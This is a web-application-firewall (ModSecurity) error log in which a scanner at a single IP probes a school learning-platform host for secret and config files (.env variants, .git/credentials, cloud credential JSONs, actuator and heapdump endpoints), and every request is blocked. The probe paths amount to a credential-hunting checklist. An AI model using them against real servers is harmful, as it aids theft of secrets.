[Fri May 08 01:40:03.114422 2026] [:error] [pid 15630:tid 15674] [client 185.254.197.231:49090] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.my.cnf"] [unique_id "afzOc3TithRAi4821qvvswAAAI4"]
[Fri May 08 01:40:03.116745 2026] [:error] [pid 12374:tid 12391] [client 185.254.197.231:49102] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/jolokia/list"] [unique_id "afzOcxo3QnNcFDMfKt2HRgAAAY0"]
[Fri May 08 01:40:03.663895 2026] [:error] [pid 12374:tid 12387] [client 185.254.197.231:49150] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "afzOcxo3QnNcFDMfKt2HRwAAAYk"]
[Fri May 08 01:40:04.327162 2026] [:error] [pid 15715:tid 15735] [client 185.254.197.231:49164] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/credentials"] [unique_id "afzOdCY4dZsLOttMkcf-RAAAAQ8"]
[Fri May 08 01:40:05.463474 2026] [:error] [pid 12374:tid 12395] [client 185.254.197.231:49076] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/sessions"] [unique_id "afzOdRo3QnNcFDMfKt2HSwAAAZE"]
[Fri May 08 01:40:06.256210 2026] [:error] [pid 15629:tid 15633] [client 185.254.197.231:49244] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/appsettings.Development.json"] [unique_id "afzOdvrIJCALdUrO43mktwAAAAA"]
[Fri May 08 01:40:06.874421 2026] [:error] [pid 15715:tid 15723] [client 185.254.197.231:49298] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.aws/config"] [unique_id "afzOdiY4dZsLOttMkcf-RgAAAQY"]
[Fri May 08 01:40:07.531739 2026] [:error] [pid 28098:tid 28104] [client 185.254.197.231:49310] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/gcp-credentials.json"] [unique_id "afzOd8vhwfljlt8trSpDbgAAAEQ"]
[Fri May 08 01:40:07.777170 2026] [:error] [pid 28098:tid 28103] [client 185.254.197.231:49300] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.yaml"] [unique_id "afzOd8vhwfljlt8trSpDcAAAAEM"]
[Fri May 08 01:40:07.781641 2026] [:error] [pid 28098:tid 28108] [client 185.254.197.231:49334] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.my.cnf"] [unique_id "afzOd8vhwfljlt8trSpDcQAAAEg"]
[Fri May 08 01:40:07.786904 2026] [:error] [pid 28098:tid 28114] [client 185.254.197.231:49316] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.sendgrid.env"] [unique_id "afzOd8vhwfljlt8trSpDcgAAAE4"]
[Fri May 08 01:40:08.143044 2026] [:error] [pid 28098:tid 28113] [client 185.254.197.231:49338] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/heapdump"] [unique_id "afzOeMvhwfljlt8trSpDcwAAAE0"]
[Fri May 08 01:40:08.350580 2026] [:error] [pid 15715:tid 15736] [client 185.254.197.231:49320] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/configprops"] [unique_id "afzOeCY4dZsLOttMkcf-SgAAARA"]
[Fri May 08 01:40:08.352025 2026] [:error] [pid 12374:tid 12384] [client 185.254.197.231:49346] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/jolokia/list"] [unique_id "afzOeBo3QnNcFDMfKt2HTAAAAYY"]
[Fri May 08 01:40:09.443366 2026] [:error] [pid 15715:tid 15719] [client 185.254.197.231:49436] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/sessions"] [unique_id "afzOeSY4dZsLOttMkcf-UQAAAQI"]
[Fri May 08 01:40:10.724889 2026] [:error] [pid 15715:tid 15731] [client 185.254.197.231:47330] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/aws/credentials"] [unique_id "afzOeiY4dZsLOttMkcf-WAAAAQs"]
[Fri May 08 01:40:11.291883 2026] [:error] [pid 15629:tid 15636] [client 185.254.197.231:47356] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/google-credentials.json"] [unique_id "afzOe_rIJCALdUrO43mkvQAAAAM"]
[Fri May 08 01:40:11.314873 2026] [:error] [pid 12374:tid 12398] [client 185.254.197.231:47410] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/sendgrid.env"] [unique_id "afzOexo3QnNcFDMfKt2HUwAAAZQ"]
[Fri May 08 01:40:11.931839 2026] [:error] [pid 15715:tid 15734] [client 185.254.197.231:47368] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.prod.yml"] [unique_id "afzOeyY4dZsLOttMkcf-WwAAAQ4"]
[Fri May 08 01:40:11.932288 2026] [:error] [pid 15715:tid 15739] [client 185.254.197.231:47398] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/database.yml"] [unique_id "afzOeyY4dZsLOttMkcf-XAAAARM"]
[Fri May 08 01:40:11.946863 2026] [:error] [pid 12374:tid 12389] [client 185.254.197.231:47418] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/trade"] [unique_id "afzOexo3QnNcFDMfKt2HVwAAAYs"]
[Fri May 08 01:40:12.267557 2026] [:error] [pid 15630:tid 15678] [client 185.254.197.231:47432] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/env"] [unique_id "afzOfHTithRAi4821qvvugAAAJI"]
[Fri May 08 01:40:12.270171 2026] [:error] [pid 15630:tid 15675] [client 185.254.197.231:47446] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/jolokia/list"] [unique_id "afzOfHTithRAi4821qvvuwAAAI8"]
[Fri May 08 01:40:12.519592 2026] [:error] [pid 15715:tid 15735] [client 185.254.197.231:47312] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/appsettings.Production.json"] [unique_id "afzOfCY4dZsLOttMkcf-XQAAAQ8"]
[Fri May 08 01:40:13.227738 2026] [:error] [pid 12374:tid 12387] [client 185.254.197.231:47458] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "afzOfRo3QnNcFDMfKt2HWwAAAYk"]
[Fri May 08 01:40:13.810318 2026] [:error] [pid 15630:tid 15679] [client 185.254.197.231:47498] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/flyway"] [unique_id "afzOfXTithRAi4821qvvwAAAAJM"]
[Fri May 08 01:40:14.676668 2026] [:error] [pid 15629:tid 15656] [client 185.254.197.231:47540] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/aws/credentials"] [unique_id "afzOfvrIJCALdUrO43mkwgAAABc"]
[Fri May 08 01:40:14.734476 2026] [:error] [pid 15629:tid 15646] [client 185.254.197.231:47580] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/sendgrid.env"] [unique_id "afzOfvrIJCALdUrO43mkwwAAAA0"]
[Fri May 08 01:40:14.936248 2026] [:error] [pid 15715:tid 15718] [client 185.254.197.231:47556] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/google-credentials.json"] [unique_id "afzOfiY4dZsLOttMkcf-XwAAAQE"]
[Fri May 08 01:40:15.296561 2026] [:error] [pid 15630:tid 15672] [client 185.254.197.231:47584] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.prod.yml"] [unique_id "afzOf3TithRAi4821qvvywAAAIw"]
[Fri May 08 01:40:15.522505 2026] [:error] [pid 15715:tid 15726] [client 185.254.197.231:47610] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/trade"] [unique_id "afzOfyY4dZsLOttMkcf-YAAAAQk"]
[Fri May 08 01:40:15.528614 2026] [:error] [pid 28098:tid 28105] [client 185.254.197.231:47594] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/database.yml"] [unique_id "afzOf8vhwfljlt8trSpDdgAAAEU"]
[Fri May 08 01:40:15.596405 2026] [:error] [pid 15630:tid 15682] [client 185.254.197.231:47626] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/env"] [unique_id "afzOf3TithRAi4821qvvzQAAAJY"]
[Fri May 08 01:40:15.597712 2026] [:error] [pid 15630:tid 15678] [client 185.254.197.231:47636] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/jolokia/list"] [unique_id "afzOf3TithRAi4821qvvzgAAAJI"]
[Fri May 08 01:40:15.932474 2026] [:error] [pid 15630:tid 15681] [client 185.254.197.231:47650] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/appsettings.Production.json"] [unique_id "afzOf3TithRAi4821qvv0AAAAJU"]
[Fri May 08 01:40:16.579885 2026] [:error] [pid 15630:tid 15670] [client 185.254.197.231:47652] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.orig"] [unique_id "afzOgHTithRAi4821qvv0QAAAIo"]
[Fri May 08 01:40:17.862874 2026] [:error] [pid 15715:tid 15717] [client 185.254.197.231:47684] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/flyway"] [unique_id "afzOgSY4dZsLOttMkcf-aQAAAQA"]
[Fri May 08 01:40:19.034039 2026] [:error] [pid 15630:tid 15673] [client 185.254.197.231:47772] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.yaml"] [unique_id "afzOg3TithRAi4821qvv1gAAAI0"]
[Fri May 08 01:40:19.037143 2026] [:error] [pid 15715:tid 15738] [client 185.254.197.231:47744] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.boto"] [unique_id "afzOgyY4dZsLOttMkcf-awAAARI"]
[Fri May 08 01:40:19.302714 2026] [:error] [pid 15630:tid 15660] [client 185.254.197.231:52472] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/firebase-adminsdk.json"] [unique_id "afzOg3TithRAi4821qvv1wAAAIA"]
[Fri May 08 01:40:19.576951 2026] [:error] [pid 15715:tid 15737] [client 185.254.197.231:52488] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.production.yml"] [unique_id "afzOgyY4dZsLOttMkcf-cAAAARE"]
[Fri May 08 01:40:20.190608 2026] [:error] [pid 15715:tid 15734] [client 185.254.197.231:52534] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/jolokia"] [unique_id "afzOhCY4dZsLOttMkcf-dAAAAQ4"]
[Fri May 08 01:40:20.193880 2026] [:error] [pid 15630:tid 15675] [client 185.254.197.231:52506] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/manage/heapdump"] [unique_id "afzOhHTithRAi4821qvv2QAAAI8"]
[Fri May 08 01:40:20.198593 2026] [:error] [pid 15715:tid 15743] [client 185.254.197.231:52520] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configprops"] [unique_id "afzOhCY4dZsLOttMkcf-dQAAARc"]
[Fri May 08 01:40:20.215227 2026] [:error] [pid 15715:tid 15739] [client 185.254.197.231:52508] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/database.yml"] [unique_id "afzOhCY4dZsLOttMkcf-dgAAARM"]
[Fri May 08 01:40:20.219139 2026] [:error] [pid 15715:tid 15721] [client 185.254.197.231:52548] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dist"] [unique_id "afzOhCY4dZsLOttMkcf-eAAAAQQ"]
[Fri May 08 01:40:20.546162 2026] [:error] [pid 15715:tid 15718] [client 185.254.197.231:52566] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf/server.xml"] [unique_id "afzOhCY4dZsLOttMkcf-eQAAAQE"]
[Fri May 08 01:40:22.036024 2026] [:error] [pid 15631:tid 15707] [client 185.254.197.231:52596] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/liquibase"] [unique_id "afzOhnvP1GkPUuuLfqV7DgAAANQ"]
[Fri May 08 01:40:23.672516 2026] [:error] [pid 15630:tid 15661] [client 185.254.197.231:52618] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sendgrid.yaml"] [unique_id "afzOh3TithRAi4821qvv2wAAAIE"]
[Fri May 08 01:40:23.674021 2026] [:error] [pid 15630:tid 15662] [client 185.254.197.231:52632] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.boto"] [unique_id "afzOh3TithRAi4821qvv3AAAAII"]
[Fri May 08 01:40:24.337882 2026] [:error] [pid 15631:tid 15689] [client 185.254.197.231:52678] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/firebase-adminsdk.json"] [unique_id "afzOiHvP1GkPUuuLfqV7EwAAAMI"]
[Fri May 08 01:40:24.618631 2026] [:error] [pid 15630:tid 15666] [client 185.254.197.231:52726] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env~"] [unique_id "afzOiHTithRAi4821qvv4AAAAIY"]
[Fri May 08 01:40:24.632475 2026] [:error] [pid 15630:tid 15667] [client 185.254.197.231:52700] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.production.yml"] [unique_id "afzOiHTithRAi4821qvv4QAAAIc"]
[Fri May 08 01:40:25.407447 2026] [:error] [pid 15631:tid 15695] [client 185.254.197.231:52762] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/database.yml"] [unique_id "afzOiXvP1GkPUuuLfqV7FQAAAMg"]
[Fri May 08 01:40:25.407594 2026] [:error] [pid 15631:tid 15698] [client 185.254.197.231:52758] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configprops"] [unique_id "afzOiXvP1GkPUuuLfqV7FAAAAMs"]
